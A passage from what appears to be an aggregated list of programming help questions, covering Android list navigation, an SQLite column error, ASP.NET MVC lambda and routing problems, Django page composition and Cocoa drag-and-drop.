new Dictionary<String, String>(); 2:  3: foreach (KeyValuePair<String, ModelState> keyValue in this.ModelState) 4: { 5: String key = keyValue.Key; 6: ModelState modelState = keyValue.Value; 7:  8: foreach (ModelError error in modelState.Errors) 9: { 10: errors[key] = error.ErrorMessage; 11: } 12: } And these are the ways to perform date validation in ASP.NET MVC. Don’t forget to use them!

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  • back button android

    - by Raogrimm
    i am having trouble implementing the back button properly. all of the code snippets i have seen have not worked for me. what i am trying to do when i press the back button is just go back to the previous list. pretty much i have a list within a list and i just want it to go back to the previous list. how would i go about doing this? this is the list i have, every item has a separate list that it has. lets say you click on weapons, you then get a list of different weapon types and so on final String[] weapons = getResources().getStringArray(R.array.weapons); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, weapons)); lv.setOnItemClickListener(new OnItemClickListener() { public void onItemClick(AdapterView<?> parent, View view, int position, long id) { System.out.println("item clicked: "+weapons[position]); switch(position) { case 0: final String[] axes = getResources().getStringArray(R.array.axes); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, axes)); break; case 1: final String[] clubs = getResources().getStringArray(R.array.clubs); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, clubs)); break; case 2: final String[] daggers = getResources().getStringArray(R.array.daggers); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, daggers)); break; case 3: final String[] great_axes = getResources().getStringArray(R.array.great_axes); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, great_axes)); break; case 4: final String[] great_katana = getResources().getStringArray(R.array.great_katana); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, great_katana)); break; case 5: final String[] great_swords = getResources().getStringArray(R.array.great_swords); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, great_swords)); break; case 6: final String[] hand_to_hand = getResources().getStringArray(R.array.hand_to_hand); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, hand_to_hand)); break; case 7: final String[] katana = getResources().getStringArray(R.array.katana); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, katana)); break; case 8: final String[] polearms = getResources().getStringArray(R.array.polearms); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, polearms)); break; case 9: final String[] scythes = getResources().getStringArray(R.array.scythes); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, scythes)); break; case 10: final String[] staves = getResources().getStringArray(R.array.staves); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, staves)); break; case 11: final String[] swords = getResources().getStringArray(R.array.swords); setListAdapter(new ArrayAdapter<String>(ffxidirectory.this, R.layout.list_item, swords)); break; } } });

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  • Sqlite returns error

    - by ruruma
    I'm trying to implement loading data from database and put it into different views. But log cat returns error, that it cannot find "_id" column. Can somebody help me with this? SqlHelper Code public class FiboSqlHelper extends SQLiteOpenHelper { public static final String TABLE_FILMDB = "FiboFilmTop250"; public static final String COLUMN_ID = "_id"; private static final String DATABASE_NAME = "FiboFilmDb250.sqlite"; private static final int DATABASE_VERSION = 1; public static final String COLUMN_TITLE = "Title"; public static final String COLUMN_RATING = "Rating"; public static final String COLUMN_GENRE = "Genre"; public static final String COLUMN_TIME = "Time"; public static final String COLUMN_PREMDATE = "PremDate"; public static final String COLUMN_PLOT = "Plot"; private static final String DATABASE_CREATE = "create table "+TABLE_FILMDB+"("+COLUMN_ID +" integer primary key autoincrement, " +COLUMN_TITLE+" text not null "+COLUMN_RATING+" text not null "+COLUMN_GENRE+" text not null "+COLUMN_TIME+" text not null "+COLUMN_PREMDATE+" text not null "+COLUMN_PLOT+" "+"text not null)"; public FiboSqlHelper(Context context) { super(context, DATABASE_NAME, null, DATABASE_VERSION); // TODO Auto-generated constructor stub } @Override public void onCreate(SQLiteDatabase db) { // TODO Auto-generated method stub db.execSQL(DATABASE_CREATE); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { // TODO Auto-generated method stub Log.w(FiboSqlHelper.class.getName(), "Upgrading database from version " + oldVersion + " to " + newVersion + ", which will destroy all old data"); db.execSQL("DROP TABLE IF EXISTS " + TABLE_FILMDB); onCreate(db); } }` SqlAdapterCode: public class FiboSqlAdapter { private SQLiteDatabase database; private FiboSqlHelper dbHelper; private String[] allColumns = {FiboSqlHelper.COLUMN_ID, FiboSqlHelper.COLUMN_TITLE, FiboSqlHelper.COLUMN_GENRE, FiboSqlHelper.COLUMN_PREMDATE, FiboSqlHelper.COLUMN_TIME, FiboSqlHelper.COLUMN_PLOT}; public FiboSqlAdapter (Context context){ dbHelper = new FiboSqlHelper(context); } public void open() throws SQLException { database = dbHelper.getWritableDatabase(); } public void close(){ dbHelper.close(); } public List<FilmDataEntity> getAllFilmData(){ List<FilmDataEntity> fDatas = new ArrayList<FilmDataEntity>(); Cursor cursor = database.query(FiboSqlHelper.TABLE_FILMDB, allColumns, null,null,null,null,null); cursor.moveToFirst(); while(!cursor.isAfterLast()){ FilmDataEntity fData = cursorToData(cursor); fDatas.add(fData); cursor.moveToNext(); } cursor.close(); return fDatas; } private FilmDataEntity cursorToData(Cursor cursor){ FilmDataEntity fData = new FilmDataEntity(); fData.setId(cursor.getLong(1)); fData.setTitle(cursor.getString(2)); fData.setRating(cursor.getString(6)); fData.setGenre(cursor.getString(4)); fData.setPremDate(cursor.getString(5)); fData.setShortcut(cursor.getString(8)); return fData; }} DataEntity: ` public class FilmDataEntity { private long id; private String title; private String rating; private String genre; private String premDate; private String shortcut; public String getShortcut() { return shortcut; } public void setShortcut(String shortcut) { this.shortcut = shortcut; } public String getGenre() { return genre; } public void setGenre(String genre) { this.genre = genre; } public String getPremDate() { return premDate; } public void setPremDate(String premDate) { this.premDate = premDate; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getRating() { return rating; } public void setRating(String rating) { this.rating = rating; } public long getId() { return id; } public void setId(long id) { this.id = id; } } Part from main activity: `List<FilmDataEntity> fE1; sqA = new FiboSqlAdapter(this); sqA.open(); fE1 = sqA.getAllFilmData(); `

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  • Cannot convert lambda expression to type 'string' because it is not a delegate type

    - by RememberME
    I have the following code written by another developer on 2 pages of my site. This used to work just fine, but now is giving the error "Cannot convert lambda expression to type 'string' because it is not a delegate type" on the Delete line with Ajax.ThemeRollerActionLink. I don't go into this section of the site often, and we recently upgraded from MVC 1.0 to 2.0. I'm guessing that's probably when it stopped working. I've looked up this error and the recommended fix seems to be add using System.Linq However, the page already has <%@ Import Namespace="System.Linq" %> <% Html.Grid(Model).Columns(col => { col.For(c => "<a href='" + Url.Action("Edit", new { userName = c }) + "' class=\"fg-button fg-button-icon-solo ui-state-default ui-corner-all\"><span class=\"ui-icon ui-icon-pencil\"></span></a>").Named("Edit").DoNotEncode(); col.For(c => Ajax.ThemeRollerActionLink("fg-button fg-button-icon-solo ui-state-default ui-corner-all", "ui-icon ui-icon-close", "Delete", new { userName = c }, new AjaxOptions { Confirm = "Delete User?", HttpMethod = "Delete", InsertionMode = InsertionMode.Replace, UpdateTargetId = "gridcontainer", OnSuccess = "successDeleteAssignment", OnFailure = "failureDeleteAssignment" })).Named("Delete").DoNotEncode(); col.For(c => c).Named("User"); }).Attributes(id => "userlist").Render(); %>

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  • Return template as string - Django

    - by Ninefingers
    Hi All, I'm still not sure this is the correct way to go about this, maybe not, but I'll ask anyway. I'd like to re-write wordpress (justification: because I can) albeit more simply myself in Django and I'm looking to be able to configure elements in different ways on the page. So for example I might have: Blog models A site update message model A latest comments model. Now, for each page on the site I want the user to be able to choose the order of and any items that go on it. In my thought process, this would work something like: class Page(models.Model) Slug = models.CharField(max_length=100) class PageItem(models.Model) Page = models.ForeignKey(Page) ItemType = models.CharField(max_length=100) InstanceNum = models.IntegerField() # all models have primary keys. Then, ideally, my template would loop through all the PageItems in a page which is easy enough to do. But what if my page item is a site update as opposed to a blog post? Basically, I am thinking I'd like to pull different item types back in different orders and display them using the appropriate templates. Now, I thought one way to do this would be to, in views.py, to loop through all of the objects and call the appropriate view function, return a bit of html as a string and then pipe that into the resultant template. My question is - is this the best way to go about doing things? If so, how do I do it? If not, which way should I be going? I'm pretty new to Django so I'm still learning what it can and can't do, so please bear with me. I've checked SO for dupes and don't think this has been asked before...

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  • Drag String data from My Cocoa App to Third-Party Cocoa App

    - by Woodster
    Hello, I want to drag a row from my tableview and drop it into any other NSTextField in Mac OS X 10.6, and have a string of text be dropped. Drag and drop already works within my app (between a NSTableView and an NSBrowser), but I have had no success putting any data on the pasteboard that can accepted by apps other than the source application. Here's the code I tried, which I thought would be enough to get hte word "hello" to be 'pasted' when I drop into some other NSTextField: -(BOOL) tableView:(NSTableView *)tableView writeRowsWithIndexes:(NSIndexSet *)rowIndexes toPasteboard:(NSPasteboard *)pboard { [pboard declareTypes:[NSArray arrayWithObject:NSStringPboardType] owner:self]; [pboard setString:@"hello" forType:NSStringPboardType]; return YES; } //-- I never get the cursor that shows me the drop will be accepted, and it just doesn't work. Things I've tried: Using the 10.5 version of the Pasteboard identifier, NSStringPBoardType Using the 10.6 version, NSPasteboardTypeString. Setting the owner = nil, since I'm not providing the data lazily. Using the keyed archiver: [pboard setData:[NSKeyedArchiver archivedRootObject:@"Hello!!"]] None of the above have worked. I think I have the concepts correct: "Encode data, tell the pasteboard what you've got, then give it the data", but since other apps don't recognize it, I suspect I'm not telling the pasteboard the correct datatype. Where am I going wrong? Thanks, Woody

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  • Legacy URL rewriting with query string parameters

    - by John Kaster
    I've looked at http://stackoverflow.com/questions/817325/asp-net-mvc-routing-legacy-urls-passing-querystring-ids-to-controller-actions and several other similar posts for legacy URL routing, but I can't get past the error "The RouteData must contain an item named 'controller' with a non-empty string value." Looking this up on line didn't give me any hints to solve my problem. I've implemented the Legacy routing class described in the link above, and this is what I've defined in the routing table: routes.Add( "Legacy", new LegacyRoute("fooref.aspx", "FooRef", new LegacyRouteHandler()) ); routes.MapRoute( "FooRef", "{controller}/{action}", new { controller = "Home", action = "Index", foo_id = UrlParameter.Optional, bar_id = UrlParameter.Optional } ); When I use Phil Haack's route debugger, it indicates that fooref.aspx has a match, but when I turn the route debugger off, I get the error above. If I reverse the statement order, I get "Resource not found" for /ctprefer.aspx, which makes sense -- so it appears to be finding that as a valid route when put in the other order. Where do I need to declare this missing controller reference? Have routing requirements changed for ASP.NET MVC 2 RTM?

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